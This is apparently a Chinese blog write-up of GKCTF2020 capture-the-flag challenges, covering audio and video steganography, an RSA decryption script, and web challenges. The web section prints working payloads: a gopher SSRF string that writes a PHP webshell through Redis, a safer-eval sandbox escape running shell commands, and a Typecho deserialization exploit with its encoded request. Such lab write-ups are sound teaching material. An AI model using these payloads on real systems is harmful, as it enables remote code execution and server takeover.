本篇内容
MISC:
[GKCTF2020]Harley Quinn
[GKCTF2020]Sail a boat down the river
Crypto:
[GKCTF2020]Backdoor
Web:
[GKCTF2020]cve版签到
[GKCTF2020]EZ三剑客-EzWeb
[GKCTF2020]EZ三剑客-EzNode
[GKCTF2020]EZ三剑客-EzTypecho
上一篇 | 目录 | 下一篇
以下内容参考官方WP,在GKCTF的QQ群文件里的GKCTF2020_官方WriteUp.pdf
文件。
[GKCTF2020]Harley Quinn
音频解码可能有误差,密码为有意义的无空格小写短句 解密版本为1.25
hint1:电话音&九宫格
hint2:FreeFileCamouflage,下载的文件可能显示乱码
压缩包打开有提示:
听一下Heathens.wav
,歌的最后有拨号音,提取出来,我将它命令为aaa.wav。
使用dtmf2num.exe
分析:
然后Heathens.wav
里提示这是密码。
#22283334447777338866#
#c tf i s e u n#
这里我用dtmf2num.exe分析的稍微有点问题,但是结合语义不难发现密码是“ctfisfun”。
然后使用Free File Camouflage v1.25
工具解密即可得到flag。
flag{Pudd1n!!_y0u_F1nd_m3!}
[GKCTF2020]Sail a boat down the river
hint:闪烁的光芒,是一行不是一列,加密方式很常见
https://pan.baidu.com/s/1tygt0Nm_G5fTfVFlgxVcrQ
然后是真的想不到的一点,按照视频里的摄像头闪光长短转换成摩斯密码
。
先将视频转成帧,我用的ps转成的共有499帧。在视频118-130
帧、200-208
帧、320-334
帧、410-418
帧有闪烁。短是1帧,⻓是3帧
。
-.--/.--/---../--.
解码得yw8g
。
打开网盘链接取得shudu.txt
。
0 8 1 7 4 0 0 0 0
3 0 2 0 6 8 0 0 0
4 0 6 5 0 0 8 2 0
0 3 0 0 0 0 0 5 6
7 0 4 3 0 9 2 0 1
1 2 0 0 0 0 0 4 0
0 5 9 0 0 4 1 0 8
0 0 0 1 8 0 9 0 2
0 0 0 0 9 7 4 6 0
密文:
efb851bdc71d72b9ff668bddd30fd6bd
密钥:
第一列九宫格从左到右从上到下
注意:这里根据hint知道是写错了,是一行不是一列
。
在琳琅在线自动求解数独,结果如下:
用第一行九宫格从左到右从上到下得到密钥52693795149137
。
这里使用AES的hex加密算法。
自己对AES确实不了解,看的官方WP用的这种方式解出来的GG0kc.tf
。
GG0kc.tf
就是题目附件中的vocal.rar的密码,解压得到逆光 vocal.ovex
文件。
使用Overture 5
打谱软件打开,在歌词里看到flag。
flag{gkctf_is_fun}
[GKCTF2020]Backdoor
官方WP就给了一个脚本,说实话我是真的看不懂。以下写写我自己的理解。
下载附件,得到flag.enc
、pub.pem
、task.py
。
#!/usr/bin/python
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2, binascii
import base64
from FLAG import flag
def rsa_encrypt(message):
with open('./pub.pem' ,'r') as f:
key = RSA.import_key(f.read())
e = key.e
n = key.n
c = pow(bytes_to_long(flag), e, n)
ciphertext = binascii.hexlify(long_to_bytes(c))
return ciphertext
if __name__ == "__main__":
text = base64.b64encode(rsa_encrypt(flag))
with open('flag.enc','wb') as f:
f.write(text)
首先由pub.pem
可以得到e,n
,这个是不会变的。
e = 65537
n = 15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739
然后要分解n得到p,q
,但是题目中给的p=k*M+(65537**a %M)
提示我用不来,但是在http://factordb.com/可以大整数分解得到p,q
p = 4582433561127855310805294456657993281782662645116543024537051682479
q = 3386619977051114637303328519173627165817832179845212640767197001941
知道p,q,e
就能得到d
d= 11499569785990181290142150447540986299729313689398043794865222914751456271097337104622884992345120278959213140333860537563347711742153
由flag.enc
经过base64解密的结果就是ciphertext
,进而得到密文c
。
MDIxNDJhZjdjZTcwZmUwZGRhZTExNmJiN2U5NjI2MDI3NGVlOTI1MmE4Y2I1MjhlN2ZkZDI5ODA5YzJhNjAzMjcyN2MwNTUyNjEzM2FlNDYxMGVkOTQ0NTcyZmYxYWJmY2QwYjE3YWEyMmVmNDRhMg==
#base64解密得到ciphertext
ciphertext = 02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2
#经过bytes_to_long(binascii.unhexlify(ciphertext))得到密文c
c = 5902102609936183530036413041949205016072856184947596155784933422689438216690059498706287388882989673839294236821030261398121787376802
最终py脚本:
#Author: 空舵
from Cryptodome.Util.number import *
from Cryptodome.PublicKey import RSA
import gmpy2, binascii
import base64
def decrypt():
with open('./pub.pem' ,'r') as f:
key = RSA.import_key(f.read())
e = key.e
n = key.n
print('e = %d\nn = %d'%(e,n))
ciphertext = b'02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2'
c = bytes_to_long(binascii.unhexlify(ciphertext))
print('c =',c)
p = 4582433561127855310805294456657993281782662645116543024537051682479
q = 3386619977051114637303328519173627165817832179845212640767197001941
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print("d =",d)
m = pow(c,d,n)
print('m =',m)
print('long_to_bytes(m) =',long_to_bytes(m))
if __name__ == "__main__":
decrypt()
这里注意,脚本中的Cryptodome
可能需要改为Crypto
,我的Crypto
库不能用,只能用这个Cryptodome
。
得到最终flag:
flag{760958c9-cca9-458b-9cbe-ea07aa1668e4}
。
hint:cve-2020-7066
搜索后可以该漏洞:
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞;
get_headers($url)函数中的内容可以被%00截断。
结合get_headers()函数的漏洞,使用%00截断使其访问127.0.0.1
。
得到最终动态flag。
[GKCTF2020]EZ三剑客-EzWeb
右键源代码看到。
通过内网探测可以发现173.97.195.11
上开着web服务。
根据提示说的是端口,进⼀步发现.11开着6379
端⼝
利用gopher://
协议进行SSRF。
将生成的127.0.0.1:6379
改为对应的IP:port
。
gopher:///173.97.195.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%20%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
点击提交后直接打开一个新标签页访问173.97.195.11/shell.php
即可得到flag。
[GKCTF2020]EZ三剑客-EzNode
Nodejs不会,本题也看不懂,直接照着官方WP做了一遍。还有参考Y1ng师傅的WP
考点:
Nodejs内置函数特性
Nodejs库漏洞搜寻
saferEval沙箱逃逸
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
这里就是拿60*1000与我们传入的delay进行比较,选一个比较大的数,但是数太大的话就会超时。
setTimeout 当 delay ⼤于 2147483647 或⼩于 1 时,则 delay 将会被设置为 1。
⾮整数的 delay 会被截断为整数。
所以直接传入?delay=99999999999
绕过timeout。
接着查看版本,猜测是跟safer-eval
有关。是saferEval的RCE,虽然它本身是个沙箱来保证eval的安全性,但是可以逃逸,参考https://github.com/commenthol/safer-eval/issues/10。
直接拿来用就能拿到flag。
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
[GKCTF2020]EZ三剑客-EzTypecho
解题参考GKCTF2020-后四道WEB复现-wp和Typecho反序列化漏洞导致前台getshell。
漏洞存在的位置:
exp:
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'system("cat /flag");';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
运行得到
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php?start=
POST:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
Referer:http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/106334413
========================================================